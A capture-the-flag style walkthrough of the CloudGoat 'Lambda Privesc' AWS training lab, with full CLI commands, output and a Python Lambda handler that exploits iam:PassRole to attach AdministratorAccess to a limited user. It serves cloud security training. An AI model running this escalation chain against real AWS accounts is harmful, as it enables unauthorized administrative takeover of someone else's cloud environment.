CloudGoat Series #3: Lambda Privesc

“Lambda Privesc” is CloudGoat’s third scenario, and it beings with us having an IAM user’s access keys. When we enumerate the user’s permission set, we find they are able to carry out any action within the Lambda service. There is also a special IAM permission that allows the user to pass any role to the Lambda service. Through further enumeration, we also find a debug role that has the AdministratorAccess policy attached to it. With this knowledge, we can plan to carry out admin actions through use of the Lambda service. By uploading a custom Python script to a Lambda function, we can assign the AdministratorAccess policy to our IAM user, giving us full access to the environment with the access keys that we already possess. Let’s dive in.

Enumerating Permissions

As always, we’re going to check the scenario’s start file. Yet again, we have IAM user access keys to play with, this time for a user called chris. We’ll throw these into our credentials file so that we can use them with the AWS CLI.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat lambda_privesc_cgidmttn5796du/start.txt
cloudgoat_output_aws_account_id = [REDACTED]
cloudgoat_output_chris_access_key_id = AKIAIOSFODNN7EXAMPLE
cloudgoat_output_chris_secret_key =  wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ vi ~/.aws/credentials 
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cloudgoat]
└─$ cat ~/.aws/credentials                     
[default]

...SNIP...

[chris]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key =  wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
				
			

Let’s start off by listing the chris’ roles. There are two that immediately jump out to us.

				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris iam list-roles

...SNIP...

        {
            "Path": "/",
            "RoleName": "cg-debug-role-lambda_privesc_cgidmttn5796du",
            "RoleId": "AROA3UTIROIQRZN5TE3J5",
            "Arn": "arn:aws:iam::[REDACTED]:role/cg-debug-role-lambda_privesc_cgidmttn5796du",
            "CreateDate": "2022-10-14T01:57:05+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "lambda.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "cg-lambdaManager-role-lambda_privesc_cgidmttn5796du",
            "RoleId": "AROA3UTIROIQVT2A6UDEQ",
            "Arn": "arn:aws:iam::[REDACTED]:role/cg-lambdaManager-role-lambda_privesc_cgidmttn5796du",
            "CreateDate": "2022-10-14T01:57:14+00:00",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Sid": "",
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::[REDACTED]:user/chris-lambda_privesc_cgidmttn5796du"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ]
}
				
			
Upon further observation, we notice who is allowed to perform the AssumeRole action for each role. When looking at the lambdaManager role, chris is listed as an allowed prinicipal. However, the debug role has the Lambda service listed as the allowed principal. If we try to assume each of the roles as chris, we will see these statements in action.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/cg-lambdaManager-role-lambda_privesc_cgidmttn5796du --role-session mysession
{
    "Credentials": {
        "AccessKeyId": "ASIAIRTASDMM5EXAMPLE",
        "SecretAccessKey": "eRlOaMBtn:LKWE/5TYDLK/bbrTweEXAMPLEKEY",
        "SessionToken": "[REDACTED]",
        "Expiration": "2022-10-14T03:08:19+00:00"
    },
    "AssumedRoleUser": {
        "AssumedRoleId": "AROA3UTIROIQVT2A6UDEQ:mysession",
        "Arn": "arn:aws:sts::[REDACTED]:assumed-role/cg-lambdaManager-role-lambda_privesc_cgidmttn5796du/mysession"
    }
}
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris sts assume-role --role-arn arn:aws:iam::[REDACTED]:role/cg-debug-role-lambda_privesc_cgidmttn5796du --role-session
 mysession2

An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::[REDACTED]:user/chris-lambda_privesc_cgidmttn5796du is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::[REDACTED]:role/cg-debug-role-lambda_privesc_cgidmttn5796du
				
			
We can see that credentials were returned for when we assume the lambdaManager role, but access is denied when we try to assume the debug role. Let’s dig deeper into what each of these roles allows us to do. We can make some assumptions based on their names, but it’s a good idea to retrieve their policy documents so that we can get the specifics.
 
First, we’ll check the lambdaManager role, since we know we can assume its permission set. We can get its policy document through these steps:
 
  1. Get the policy ARN
  2. With the policy ARN, get the policy’s default version ID
  3. With the default version ID, get the body of the current policy document
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris iam list-attached-role-policies --role-name cg-lambdaManager-role-lambda_privesc_cgidmttn5796du                   
{
    "AttachedPolicies": [
        {
            "PolicyName": "cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du",
            "PolicyArn": "arn:aws:iam::[REDACTED]:policy/cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du"
        }
    ]
}
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris iam get-policy --policy-arn arn:aws:iam::[REDACTED]:policy/cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du
{
    "Policy": {
        "PolicyName": "cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du",
        "PolicyId": "ANPA3UTIROIQT2IVQMKKQ",
        "Arn": "arn:aws:iam::[REDACTED]:policy/cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du",
        "CreateDate": "2022-10-14T01:57:05+00:00",
        "UpdateDate": "2022-10-14T01:57:05+00:00",
        "Tags": []
    }
}

┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris iam get-policy-version --policy-arn arn:aws:iam::[REDACTED]:policy/cg-lambdaManager-policy-lambda_privesc_cgidmttn5796du --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "lambda:*",
                        "iam:PassRole"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "lambdaManager"
                }
            ],
            "Version": "2012-10-17"
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2022-10-14T01:57:05+00:00"
    }
}
				
			
This policy document is telling us that the lambdaManager role will allow us to do anything with the Lambda service as well as perform a specific IAM action called PassRole. But what is PassRole? As explained in the AWS docs, PassRole allows the user to configure AWS services to assume other roles, which results in the service performing actions as that role. This definitely smells like privilege escalation, so we’ll make note of it for now.
 
Let’s also check the debug role’s policy document. We’re going to use the same steps from earlier. However, we only need to perform the first step to understand the debug role is the equivalent of an admin.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris iam list-attached-role-policies --role-name cg-debug-role-lambda_privesc_cgidmttn5796du
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        }
    ]
}
				
			
Nice, this is great news as it can most likely be used to our advantage!

Creating the Python Script

Since we are able to assume the lambdaManager role, we can create and invoke Lambda functions. Paired with our extra permission of PassRole and what we know about the debug role, we can get Lambda functions to execute actions as the debug role, or effectively as an admin.
 
So what’s the best way to abuse this? Well, one option is to give chris admin-level access, since we already have their creds. This way, we can continue to carry out whatever malicious actions we want through the CLI. Let’s write up the Python code that will perform this action. Some helpful resources include the Python code from the Vulnerable Lambda scenario, the boto3 docs (AWS’ Python SDK), and a little reference explaining Lambda handlers.
				
					import boto3

def handler(event, context):
    iam = boto3.client('iam')

    response = iam.attach_user_policy(
        UserName="chris-lambda_privesc_cgidmttn5796du",
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )

    print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))

    return "Privilege escalation function executed."

if __name__ == "__main__":
    print(handler("blah", "blahblah"))
				
			
Let’s quickly run through what’s happening in our code. Because we are going to be creating the Lambda function with a zip file, the AWS CLI command for doing this requires us to pass the name of a function handler. By definition, a function handler needs two arguments. We are going to write some junk as these two arguments because we don’t need to do anything with them. All we care about is executing the command that attaches the AdministratorAccess policy to the chris user. Once the policy is attached, it returns a status code and the message that the function has executed.

Creating the Lambda Function

Cool, now onto the part where we actually upload this code as a Lambda function. We’ll need to create the profile for the lambdaManager role so that we have the means of performing Lambda-related CLI actions.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ vi ~/.aws/config
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ cat ~/.aws/config                                      
[default]
region = us-east-1
output = json

[profile lambda_manager]
role_arn = arn:aws:iam::[REDACTED]:role/cg-lambdaManager-role-lambda_privesc_cgidmttn5796du
source_profile = chris
				
			
Now that we have taken care of setting up the profile, we need to zip up our Python script so that it’s packaged up nicely. Then, we’ll use it to create the Lambda function. There are quite a few arguments we’ll need to pass, and they are outlined in the CLI docs, but let’s break them down in terms of what we are doing:

 

  • –region: Lambda is a service that uses AWS regions. We’ll put this function in us-east-1
  • –function-name: This is pretty self-explanatory
  • –handler: This is that function handler I was referring to earlier. If you peeked at the reference, you will have noticed the name is of the form lambda_function.lambda_handler where lambda_function is the name of the Python file and lambda_handler is the name of the function we defined within the Python code
  • –runtime: We are specifying that this script should be run as Python 3.9 (the latest release at the time of writing) as opposed to other scripting languages or other Python versions
  • –zip-file: The local path of the zip file containing our Lambda function code
  • –role: This is key. This is the role the Lambda function will get executed with. We’re going to use that debug role since we need this to get executed with admin permissions
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ zip privesc-function.zip privesc-function.py
  adding: privesc-function.py (deflated 33%)
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile lambda_manager --region us-east-1 lambda create-function --function-name privesc-function --handler privesc-function.handler --runtime python3.9 --zip-file fileb://privesc-function.zip --role arn:aws:iam::[REDACTED]:role/cg-debug-role-lambda_privesc_cgidmttn5796du
{
    "FunctionName": "privesc-function",
    "FunctionArn": "arn:aws:lambda:us-east-1:[REDACTED]:function:privesc-function",
    "Runtime": "python3.9",
    "Role": "arn:aws:iam::[REDACTED]:role/cg-debug-role-lambda_privesc_cgidmttn5796du",
    "Handler": "privesc-function.handler",
    "CodeSize": 479,
    "Description": "",
    "Timeout": 3,
    "MemorySize": 128,
    "LastModified": "2022-10-14T02:56:59.170+0000",
    "CodeSha256": "KIVgRjek2G3VPg5CUi7aqah/srpocNT2fPREMiHAM0E=",
    "Version": "$LATEST",
    "TracingConfig": {
        "Mode": "PassThrough"
    },
    "RevisionId": "b1c7d577-7d21-418e-850c-b976c68b2556",
    "State": "Pending",
    "StateReason": "The function is being created.",
    "StateReasonCode": "Creating",
    "PackageType": "Zip",
    "Architectures": [
        "x86_64"
    ],
    "EphemeralStorage": {
        "Size": 512
    }
}
				
			

Priv Esc Through the Lambda Function

With our Lambda function is ready, it is time to invoke it and get that AdministratorAccess policy assigned to chris.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile lambda_manager --region us-east-1 lambda invoke --function-name privesc-function response.json
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}
 
┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ cat response.json      
"Privilege escalation function executed." 

┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile chris iam list-attached-user-policies --user-name=chris-lambda_privesc_cgidmttn5796du
{
    "AttachedPolicies": [
        {
            "PolicyName": "AdministratorAccess",
            "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
        },
        {
            "PolicyName": "cg-chris-policy-lambda_privesc_cgidmttn5796du",
            "PolicyArn": "arn:aws:iam::[REDACTED]:policy/cg-chris-policy-lambda_privesc_cgidmttn5796du"
        }
    ]
}
				
			
Success! We received a response saying everything went as planned. We also checked to see that the AdministratorAccess policy is in fact attached. We’ve successfully complete the scenario!

Scenario Cleanup

When taking down the scenario, recall that we created a Lambda function, which means CloudGoat will not be able to destroy it. We also attached the AdministratorAccess policy to chris, which may give CloudGoat some trouble when trying to destroy chris. Simply execute the delete-function command through the CLI to get rid of the Lambda function. Then, use detach-user-policy to remove the AdministratorAccess policy from chris.
				
					┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile lambda_manager --region us-east-1 lambda delete-function --function-name privesc-function

┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]
└─$ aws --profile lambda_manager --region us-east-1 lambda list-functions                                   
{
    "Functions": []
}

┌──(mr-b4rt0wsk1㉿kali)-[~/cg_working_dir/lambda_privesc]       
└─$ aws iam detach-user-policy --user-name chris-lambda_privesc_cgidmttn5796du --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
				
			
With these commands, all extra cleanup efforts should be complete and the CloudGoat destroy command should be able to take care of the rest of the infrastructure it originally provisioned.

See you in the next scenario!